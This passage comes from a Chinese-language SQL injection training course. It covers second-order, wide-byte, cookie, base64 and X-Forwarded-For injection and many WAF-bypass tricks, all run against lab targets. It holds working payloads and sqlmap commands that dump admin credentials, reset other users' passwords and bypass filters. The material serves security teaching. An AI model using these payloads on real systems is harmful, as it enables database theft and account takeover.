a',a' and 1=1#,a' and 1=2#

并且尝试修改这三个用户的密码,确认密码是否修改成功,下面是注册后数据库的界面

image.png

image.png

发现如果用户是a' and 1=2#密码怎么都修改不成功,跳出来bug提示页面

image.png

可以尝试修改其他用户的密码,注册一个用户,用户名为

a';update users set password='a123456' where username='eagleslab'#

但是,这个案例中username字段限制字符串最长为20,所以并不能够成功

image.png

image.png

但是可以清空表

image.png

注册用户eagleslab'#,然后修改密码为a123456

image.png

然后发现竟然修改了eagleslab用户的密码,如果eagleslab用户是管理员的话,就可以获取管理员账户

image.png

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
#相当于
$sql = "UPDATE users SET PASSWORD='$pass' where username='eagleslab'#' and password='$curr_pass' ";

9.3 二次注入cms实战

内部靶场直接创建容器,数据库密码为空

image-20260121180413803

先注册一个用户

image-20260121180818445

在创建简历的地方存在二次注入漏洞,此处可以修改变量的值,并且会存入数据库中

在教育经历这里,学校名称使用payload

a',address=user()#

image-20260121181130230

直接暴露了数据库管理员账户

image-20260121181219086

查看数据库版本信息

a',fullname=version()#

image-20260121181414145

可以参考这篇文章:

https://blog.csdn.net/m0_63615772/article/details/141006036

9.4 小实验

完成上述实验,74cms案例还可以尝试下其他字段。

10.宽字节注入

当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

10.1 宽字节注入基础

10.1.1 宽字节注入的本质是什么?

先了解一下GPC

GPC 指的是 PHP 接收的三类外部输入:

  • G$_GET
  • P$_POST
  • C$_COOKIE

当配置文件中magic_quotes_gpc = On 时,PHP 会在 数据进入脚本前 自动执行:

addslashes()

而宽字节注入的本质不是 GPC 失效,而是:

PHP 层对字符的转义方式,与数据库层对字符集的解析规则不一致,导致转义字符(\)在数据库端被“吃掉”,从而逃逸引号。

同一段字节流,在 PHP 与数据库中被“分组解析”的方式不同。

10.1.2 为什么开启 GPC 仍然可能被绕过?

GPC(magic_quotes_gpc / addslashes())的行为是:

'  →  \'
"  →  \"
\  →  \\

即: 单字节层面在引号前插入 0x5c(反斜杠)。

但问题在于:

  • GPC 只按 单字节 处理
  • 数据库在 多字节字符集(如 GBK / Big5) 下,可能按 双字节 重新解释

10.1.3 宽字节注入成立的前提条件

1.数据库必须使用多字节字符集

常见可触发:

  • GBK
  • Big5

不可触发:

  • UTF-8
  • GB2312

原因: 这些字符集中 不存在“低字节为 0x5C 的合法字符”

2.字符集中必须存在:

0x?? 0x5C

这样的 合法双字节字符

例如在 GBK 中:

0xDF 0x5C  → 合法汉字 運

3.应用层使用的是:

  • addslashes()
  • magic_quotes_gpc
  • 手动拼接 SQL

不是预编译

10.1.4 宽字节注入的完整绕过过程

1.攻击者输入(URL 编码):

%df%27

2.PHP 层(addslashes / GPC)处理:

PHP接收到并 URL 解码

%df%27  →  0xdf 0x27

addslashes() 转义 '

'  →  \'

结果变为:

0xdf 0x27
↓
0xdf 0x5c 0x27

3.SQL 发送给数据库(数据库编码为 GBK):

数据库解析方式:

DF 5C   → 被解析为一个合法 GBK 汉字
27      → 单独的 '

也就是说:

  • \(0x5C)被当成宽字节的一部分
  • 真正的 ' 成功逃逸

4.最终效果:

運'

SQL 结构被破坏,引号闭合成功,注入成立。

10.1.5 为什么 UTF-8 不存在宽字节注入?

UTF-8 特点:

  • 多字节字符以 111xxxxx / 110xxxxx 开头
  • 0x5C 不可能作为 UTF-8 的“合法尾字节”

因此:

\ 永远只会被当成转义字符

不会被“吃掉”,也就不存在宽字节逃逸。

10.1.6 如何判断一个站点是否“可能存在”宽字节注入?

在实战中,判断顺序通常是:

  1. 是否 MySQL

  2. 是否使用 GBK / Big5

    SHOW VARIABLES LIKE 'character_set%';
    
  3. 是否字符串拼接 SQL

  4. 是否存在 addslashes / GPC

只要满足 前 3 条 + 无预编译,就值得测试。

10.1.6 宽字节注入的防御方式

无需“多加过滤”,而是:

1. 使用预编译(Prepared Statement)

SQL 与数据彻底分离

2. 统一字符集

PHP / Web / MySQL 统一 UTF-8

3. 不要单纯依赖:

  • addslashes
  • magic_quotes_gpc

10.2 宽字节注入sqli-labs靶场实战

10.2.1 宽字节注入源码分析

less32 从源代码分析,存在漏洞的代码 首先 check_addlashes 是将特殊字符进行过滤将' 变成\'mysql_query 设置数据库的编码为 gbk 将 id 参数传入到 SQL 中带入查询。传入%df%27 即可逃逸 gpc,故存在宽字节注入。

image.png

10.2.2 宽字节注入利用

宽字节检测较为简单 输入%df%27 检测即可或者使用配合 and 1=1 检测即可

1%df'--+

image-20260121190700131

1%df'and 1=1--+

image-20260121190729394

查询一下数据库敏感信息

-1%df' union select 1,version(),database()--+

image-20260121190900259

后续正常联合注入即可

10.3 小实验

完成上述复现,并尝试解决less34

11.Cookie注入

11.1 Cookie注入基础

11.1.1 基本概念

Cookie 注入与 GET 注入、POST 注入 在本质上并无区别,都是由于 用户可控输入被直接拼接进 SQL 语句 导致的 SQL 注入漏洞,不同之处仅在于 参数的传递位置不同

  • GET 注入:参数通过 URL 传递
  • POST 注入:参数通过 HTTP 请求体传递
  • Cookie 注入:参数通过 HTTP 请求头中的 Cookie 字段传递

从数据库角度来看,这三种方式没有任何区别,只要参数最终参与 SQL 拼接,就可能产生注入。

Cookie 注入通常发生在以下场景中:

  • 应用程序直接从 $_COOKIE 读取值
  • Cookie 中的值被作为条件拼接进 SQL 语句
  • 程序猿脑抽认为 Cookie 是“可信数据”
  • 未对 Cookie 参数进行转义或使用预处理语句

典型示例:

$id = $_COOKIE['uid'];
$sql = "select * from users where id='$id'";

如果 uid 可被用户修改,即可形成 Cookie 注入。

与 GET、POST 相比,Cookie 注入更隐蔽,原因包括:

  • Cookie 不会直接显示在 URL 中
  • 很多开发者误认为 Cookie 是服务器生成的、不可控
  • 常见 WAF 或检测工具 默认不测试 Cookie 参数
  • 手工测试时容易被忽略

因此在实战中,Cookie 注入属于高价值注入点

1.手工测试

使用 Burp Suite、浏览器开发者工具修改 Cookie:

Cookie: uid=1' and 1=1--+
Cookie: uid=1' and 1=2--+

观察页面返回差异,判断是否存在注入。

2.SQLMap 测试 Cookie 注入

sqlmap -u "http://example.com/profile.php" --cookie="uid=1; PHPSESSID=xxxx"

指定测试 Cookie 中的某个参数:

sqlmap -u "http://example.com/profile.php" \
--cookie="uid=1; PHPSESSID=xxxx" \
-p uid

Cookie 注入常见于以下业务逻辑中:

  • 用户身份识别(uid、user_id)
  • 登录状态判断
  • 语言、主题、偏好设置
  • 权限、角色标识字段

例如:

Cookie: role=user

如果后端直接拼接:

select * from users where role='$role';

则可构造注入。

11.2 Cookie注入sqli-labs靶场实战

11.2.1 代码分析

less20

分析代码可以看出并未对cookie进行过滤转义

image.png

11.2.2 Cookie注入利用

使用burpsuite抓包,并且修改post提交的数据 在cookie中提交注入代码,1=1和1=2网页内容不一样

image.png

image.png

使用order by + 联合查询,获取敏感数据

image.png

image.png

获取当前数据库名

image.png

获取数据表名

image.png

获取字段名

image.png

获取用户名密码

image.png

11.3 Cookie注入cms实战

很多cms会对get和post进行拦截

image.png

很多网站对于参数的接受的方法也是比较多的,post也可以传递

image.png

不过post数据也会作为过滤重点

image.png

cookie也一样能够提交参数

image.png

但是cookie却没有做拦截

image.png

使用sqlmap对cookie进行探测,得到服务器相关信息

sqlmap -u "http://d8.s.iproute.cn/shownews.asp" --cookie "id=27" --level 2

image.png 获取数据表名

sqlmap -u "http://d8.s.iproute.cn/shownews.asp" --cookie "id=27" --level 2 --tables

image.png 获取字段名

sqlmap -u "http://d8.s.iproute.cn/shownews.asp" --cookie "id=27" --level 2 -T "admin" --columns

image.png 获取管理员用户名和密码

sqlmap -u "http://d8.s.iproute.cn/shownews.asp" --cookie "id=27" --level 2 -T "admin" -C "username,password" --dump

image.png

12.base64编码注入

12.1 base64编码注入基础

base64 一般用于数据编码进行传输,例如邮件,也用于图片加密存储在网页中。 数据编码的好处是,防止数据丢失,也有不少网站使用 base64 进行数据传输,如搜索栏 或者 id 接收参数 有可能使用 base64 处理传递的参数。 在 php 中 base64_encode()函数对字符串进行 base64 编码,既然可以编码也可以进行解码,base64_decode()这个函数对 base64 进行解码。 base64 编码注入,可以绕过 gpc 注入拦截,因为编码过后的字符串不存在特殊字符。编码过后的字符串,在程序中重新被解码,再拼接成 SQL 攻击语句,再执行,从而实现 SQL 注入。

12.2 base64编码注入sqli-labs靶场实战

12.2.1 base64编码注入代码分析

less 21

image.png

12.2.2 base64编码注入利用

首先观察网站是否存在 base64 编码的数据,例如传递的 id 的值,搜索模块。 如果存在类似==等,可以用 base64 解码进行测试。 admin'and 1=1-- 编码 YWRtaW4nYW5kIDE9MS0tIA== admin'and 1=2-- 编码 YWRtaW4nYW5kIDE9Mi0tIA== 本次测试的页面是 cookie 所以需要 cookie 提交 而且有括号需要闭合

image.png

image.pngimage.png 使用报错注入也可以

uname=admin') and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--

image.png

13.xff注入

X-Forwarded-For 简称 XFF 头,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端 IP。XFF 并不受 gpc 影响,而且开发人员很容易忽略这个 XFF 头,不会对 XFF 头进行过滤。 除了 X-Forwarded-For 还有 HTTP_CLIENT_IP 都可以由客户端控制值,所以服务端接受这两个参数的时候 没有过滤会造成 SQL 注入或者更高的危害。

13.1 xff注入cms实战

bluecms

image-20260121223500855

在大部分需要提交信息的网站上,记录IP地址是必须的,即使HTTP头部没有X-Forwarded-For或者client-ip也会被记录,所以手动添加在很多时候也是可行的。

image.png

image.png 分析报错的原始sql语句,其中123是提交的评论内容

INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '4', '0', '1', '1', '123', '1675321172', '1.1.1.1'', '1')

我们可以闭合标签,追加一行内容,下面的内容中,第2行就是要加入的注入语句,这样就可以将我们想查询的内容以评论的方式留在网页上

INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '4', '0', '1', '1', '123', '1675321172', '
1.1.1.1', '1'),('', '4', '0', '1', '1', (select concat(admin_name,0x3a,pwd) from blue_admin limit 0,1), '1675321172', '1.1.1.1', '1')#

image.png 使用sqlmap对http头部进行注入,指定注入点,将内容保存到记事本中 image.png

sqlmap -r C:\Users\simid\Desktop\p.txt --batch --tables -D d6_s_iproute_cn

image.pnge

14.SQL 注入绕过

SQL 注入绕过技术已经是一个老生常谈的内容了,防注入可以使用某些云 waf加速乐等安全产品,这些产品会自带 waf 属性拦截和抵御 SQL 注入,也有一些产品会在服务器里安装软件,例如 iis 安全狗、d 盾、还有就是在程序里对输入参数进行过滤和拦截 例如 360webscan 脚本等只要参数传入的时候就会进行检测,检测到有危害语句就会拦截。SQL 注入绕过的技术也有许多。但是在日渐成熟的 waf 产品面前,因为 waf 产品的规则越来越完善,所以防御就会越来越高,安全系统也跟着提高,对渗透测试而言,测试的难度就越来越高了。接下来将会详细介绍针对 waf 的拦截注入的绕过方法。

14.1 or and xor not绕过★

目前主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2 id=0 xor 1=1 limit 1 、id=1 xor 1=2

对这些常见的 SQL 注入检测语句进行拦截。像 and 这些还有字符代替字符如下

指令 字符
and &&
or ||
not !
xor |

需要注意并不是所有数据库的SQL语句都支持上述字符。

mysql> select * from users where id=1 and 1=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 && 1=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id not in (2,3);
+------+----------------------+-----------+
| id   | username             | password  |
+------+----------------------+-----------+
|    1 | Dumb                 | Dumb      |
|    4 | secure               | crappy    |
|    5 | stupid               | stupidity |
|    6 | superman             | genious   |
|    7 | batman               | mob!le    |
|    8 | admin                | admin     |
|    9 | admin1               | admin1    |
|   10 | admin2               | admin2    |
|   11 | admin3               | admin3    |
|   12 | dhakkan              | dumbo     |
|   14 | admin4               | admin4    |
+------+----------------------+-----------+
11 rows in set (0.00 sec)

mysql> select * from users where id in (2,3);
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
+----+----------+------------+
2 rows in set (0.00 sec)

mysql> select * from users where id=1 && 2=1+1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

less25源码分析

下面的代码会将id中的or和and替换为空字符串

image.png

输入and、or都会被过滤报错

image.png

使用||符号就可以绕过

image.png

14.2 order by绕过

当 order by 被过滤时,无法猜解字段数,此时可以使用 into 变量名进行代替。

mysql> use security
Database changed
mysql> select * from users where id=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)
/* 数据库有3列 */

mysql> select * from users where id=1 order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)
/* 普通order by查询 */

mysql> select * from users where id=1 into @a,@b,@c;
Query OK, 1 row affected (0.00 sec)

mysql> select * from users where id=1 into @a,@b;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
/* into查询,列数正确返回ok,列数错误返回error */

实战

使用命令:

?id=1' into @a,@b,@c--+

使用命令:

?id=1' into @a,@b--+

image.png

14.3 空格字符绕过

如果出现空格被拦截的情况,就需要使用空格字符绕过。常见做法是尝试使用URL编码(%20),但是要注意,在php中这类url编码在程序中仍然可能会被过滤掉。

编码 空格字符
%09 TAB键(水平制表符)
%0a 新的一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直制表符)
%a0 空格

另外SQL语句也支持注释来充当空格,注释的格式为 /*注释内容*/

image.png

另外mysql也支持将某些命令根据版本兼容性来进行注释,比如/*!50000select*/表示5.00.00版本以上的mysql才会执行这个代码

image.png

less26源码分析

image.png

尝试使用注入语句,发现空格和--被过滤,使用普通的方式已经无法对代码形成闭合状态

使用如下闭合语句

image.png

使用报错注入

image.png

查找表名的时候发现空格被过滤

image.png

使用括号绕过空格限制,此处使用URL编码并不能绕过PHP的过滤策略

image.png

空格字符编码绕过示例

image.png

14.4 大小写绕过

注意下面的过滤代码正则匹配模式并未忽略大小写

image.png

使用盲注

http://d16.s.iproute.cn/Less-27/?id=0'||substr((sElect(group_concat(username))from(users)),1,1)='D'||'0

image.png

使用报错

http://d16.s.iproute.cn/Less-27/?id=1'||substr((updatexml(1,concat(0x7e,(SelEct(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e),1)),1,1)='D'||'1

image.png

14.5 双关键词绕过

有些程序会对单词 union、 select 进行转空,但是只会转一次这样会留下安全隐患。双关键字绕过(若删除掉第一个匹配的 union 就能绕过)如:

id=-1'UNIunionONSeLselectECT1,2,3--+到数据库里执行会变成 id=-1'UNION SeLECT1,2,3--+ ,从而绕过拦截。

有些程序会对单词 union、 select 进行转空,但是只会转一次这样会留下安全隐患。双关键字绕过(若删除掉第一个匹配的 union 就能绕过)如:

id=-1'UNIunionONSeLselectECT1,2,3--+到数据库里执行会变成 id=-1'UNION SeLECT1,2,3--+ ,从而绕过拦截。

less25也可以使用双写绕过

14.6 substr字符串截取★

原理如下,通过截取字符串来进行sql注入,甚至可以通过转成16进制避免出现单引号。

mysql> select (substr(database() from 1 for 1));
+-----------------------------------+
| (substr(database() from 1 for 1)) |
+-----------------------------------+
| s                                 |
+-----------------------------------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and 's'=(select(substr(database()from 1 for 1)));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and 0x73=(select(substr(database()from 1 for 1)));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

实战效果,使用命令

?id=1' and (select(substr(database() from 1 for 1)))=0x73--+

image.png

如果猜测不对,就会出现下面的界面

image.png

14.7 mid字符串截取★

这个 mid函数跟 substr 函数功能相同,如果 substr 函数被拦截或者过滤,可以使用这个函数代替

image.png

14.8 like绕过★

有时候不给使用=

使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1, 否则返回 0

mysql> select user() like '%root%';
+----------------------+
| user() like '%root%' |
+----------------------+
|                    1 |
+----------------------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and (select user() like '%root%');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串 最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截。

实战效果

image.png

14.9 等号绕过★

如果程序会对=进行拦截 可以使用 like、rlike、regex或者使用< 、>

14.9.1 < 、>绕过

mysql> select * from users where id=1 and ascii(substring(user(),1,1))<115;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and ascii(substring(user(),1,1))>115;
Empty set (0.00 sec)

绕过测试

?id=1' and ascii(substring(user(),1,1))<115--+

image.png

14.9.2 like、rlike绕过

mysql> select * from users where id=1 and (select substring(user(),1,1)like 'r%');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and (select substring(user(),1,1)rlike 'r');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

14.9.3 regex绕过

mysql> select * from users where id=1 and 1=(select user() regexp '^r');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and 1=(select user() regexp '^a');
Empty set (0.00 sec)

14.10 分块传输绕过★★★★★

背景知识

什么是 chunked 编码?

分块传输编码(Chunked transfer encoding)是只在 HTTP 协议 1.1 版本(HTTP/1.1)中提供的一种数据传送机制。以往 HTTP 的应答中数据是整个一起发送的,并在应答头里 Content-Length 字段标识了数据的长度,以便客户端知道应答消息的结束。

传统的 Content-length 解决方案:计算实体长度,并通过头部告诉对方。浏览器可以通过 Content-Length 的长度信息,判断出响应实体已结束。

Content-length 面临的问题:由于 Content-Length 字段必须真实反映实体长度,但是对于动态生成的内容来说,在内容创建完之前,长度是不可知的。这时候要想准确获取长度,只能开一个足够大的 buffer,等内容全部生成好再计算。这样做一方面需要更大的内存开销,另一方面也会让客户端等更久。因此我们需要一个新的机制:不依赖头部的长度信息,也能知道实体的边界——分块编码(Transfer-Encoding: chunked)。

对于动态生成的应答内容来说,内容在未生成完成前总长度是不可知的。因此需要先缓存生成的内容,再计算总长度填充到 Content-Length,再发送整个数据内容。这样显得不太灵活,而使用分块编码则能得到改观。分块传输编码允许服务器在最后发送消息头字段。例如在头中添加散列签名。对于压缩传输传输而言,可以一边压缩一边传输。

二、如何使用 chunked 编码

如果在 http 的消息头里 Transfer-Encoding 为 chunked,那么就是使用此种编码方式。接下来会发送数量未知的块,每一个块的开头都有一个十六进制的数,表明这个块的大小,然后接 CRLF("\r\n")。然后是数据本身,数据结束后,还会有CRLF("\r\n")两个字符。有一些实现中,块大小的十六进制数和 CRLF 之间可以有空格。最后一块的块大小为 0,表明数据发送结束。最后一块不再包含任何数据,但是可以发送可选的尾部,包括消息头字段。消息最后以 CRLF 结尾。在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,报文中的实体需要改为用一系列分块来传输。

实战

由于 Windows 的IIS中间件对分块传输支持不佳,所以此处选择使用Linux版本

靶场 pikachu

拦截一个数据包如下

image.png

来到重放模块,修改为分块传输 首先在 http 头加上 Transfer-Encoding: chunked 表示分块传输传送,第一行是长度,第二行是字符串,0 表示传输结束,后面跟上两个换行。

image.png

使用分块传输插件

插件主页:https://github.com/c0ny1/chunked-coding-converter

image.png

使用插件分块传输,数字后面跟了个分号,分号后面跟了一些奇怪的字符。这些字符的作用可有可无,主要是用来充当垃圾字符,来绕WAF的

image.png

查询到结果

image.png

14.11 换行混绕绕过★★

目前很多 waf 都会对 union select 进行过滤,因为联合查询使用了这两个关键词,一般过滤这个两个字符,想用联合查询就很难了。可以使用换行 加上一些注释符进行绕过。

GET型

使用命令:

?id=-1' union /*sdfqwdsgs123456*/select 1,version(),3--+

image.png

POST型

选用sqllib第11关

使用命令:

uname=' union select
/*
sdf

123456789
qwejiknklfnaltkkoi
*/(select group_concat(table_name) from information_schema.tables where table_schema=database()),2#&passwd=123&submit=Submit

image.png

规则中使用多行匹配模式依然可以检查出攻击。很多时候,基于性能考虑,规则没有使用多行匹配模式。导致存在绕过的可能。

14.12 URL编码绕过★★★★★

对字符做URL编码。

image.png

image.png

14.13 Unicode 编码绕过★★★★★

把payload转为unicode编码

image.png

image.png

14.14 白名单绕过

有些 WAF 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,所以可以利用这个特点,可以试试白名单绕过。白名单通常有目录:

/admin
/phpmyadmin
/admin.php

普通的注入:

?id=-1' union select 1,2,version()--+

image.png

加了白名单的注入:

?id=/admin.php?&id=-1' union select 1,2,version()--+

image.png

14.15 ascii 字符绕过

截取出来的字符转为ascii码,来避开联合查询注入

mysql> select substring(user(),1,1);
+-----------------------+
| substring(user(),1,1) |
+-----------------------+
| r                     |
+-----------------------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and substring(user(),1,1)='r';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and ascii(substring(user(),1,1))=114;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

实战效果

image.png

14.16 二次编码绕过

有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码过后,有些 waf 是不会拦截的。

php代码用了urldecode()等编码函数,与php自身编码配合失误。

由于sqli-labs没有二次编码注入的环境,所以我们在less1中加入一些代码

image.png

判断是否存在二次编码注入

image.png

可以看到单引号被转义了,使用编码

以上图片体现二次编码 ,%25由于编码作用被转义为%,而接下来的%27二次编码被转义为'

image.png

下面即可正常进行SQL注入

http://d16.s.iproute.cn/Less-1/doublecode.php?id=-1%2527 union select 1,2,(select schema_name from information_schema.schemata limit 0,1)--+

image.png

14.17 使用join绕过

使用 join 连接两个表

union select 1,2 等价于 union select * from (select 1)a join (select 2)b

mysql> select * from users where id=-1 union select * from (select 1)a join (select 2)b join (select 3)c;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=-1 union select * from (select 1)a join (select user())b join (select 3)c;
+----+----------------+----------+
| id | username       | password |
+----+----------------+----------+
|  1 | root@localhost | 3        |
+----+----------------+----------+
1 row in set (0.00 sec)

实战效果,使用命令

?id=-1' union select * from (select 1)a join (select user())b join(select 3)c--+

image.png

14.18 浮点数绕过

sql 语句的一个特性,在浮点数后面跟着 union 可以不加空格,并且1.0=1

image.png

image.png

image.png

image.png

为了闭合后面的引号,可以使用如下语句

image.png

浮点数绕过实战

http://d16.s.iproute.cn/Less-27/?id=999.0'and(updatexml(1,concat(0x7e,database(),0x7e),1))||'1

image.png

上面这个案例看起来有浮点数,其实和浮点数没关系,改成任何字符串都没问题

http://d16.s.iproute.cn/Less-27/?id=a'and(updatexml(1,concat(0x7e,database(),0x7e),1))||'1

image.png

浮点数绕过主要需要与union配合使用,在过滤空格的场景中可以让union前面的空格省略

http://d16.s.iproute.cn/Less-27/?id=99.0'unIOn%0dseLEct(1),(database()),(3)%0d||'1

image.png

Null也可以作为union前面空格的省略工具

http://d16.s.iproute.cn/Less-27/?id=Null'unIOn%0dseLEct(1),(database()),(3)%0d||'1

image.png

任意一个字符串,包括数字字符串都可以作为union前面的省略工具

image.png

image.png

在这个案例中并没有用到整数型后面直接跟着union的特性,但是这个知识点需要记住

14.19 引号绕过

引号主要使用的是字符串,可以将字符串转换为16进制,就可以避免使用引号了

http://d14.s.iproute.cn/vulnerabilities/sqli/?id=1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x6431345f735f6970726f7574655f636e)--+&Submit=Submit#

image.png

14.20 反引号绕过

insert into users(`username`,`password`,`email`)values('zhangsan','123456','admin@iproute.cn');

14.21 使用生僻函数绕过

使用生僻函数替代常见的函数,这样可以绕过过滤规则不全面的waf拦截

例如使用exp()替换updatexml()

id=-1' and exp(~(select * from(select user())a))--+

image.png

14.22 大量字符绕过★★

有一定绕过的可能,数据包帧头过长时可能会超过设备的检测深度,导致绕过。

可以使用 select 0xA 运行一些字符从绕突破一些 waf 拦截,如:

id=1 and (select 1)=(select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)/*!union*//*!select*/1,user()

下面的案例中使用的注入post提交内容为

id=1+and+(select+1)and+(select+0xA*1000)/*!union*//*!select*/+1,user()--+&submit=%E6%9F%A5%E8%AF%A2

image.png

15.综合实战

15.1 beescms

image-20260121214355490

15.2.xycms

image-20260121221402084

results matching ""

    No results matching ""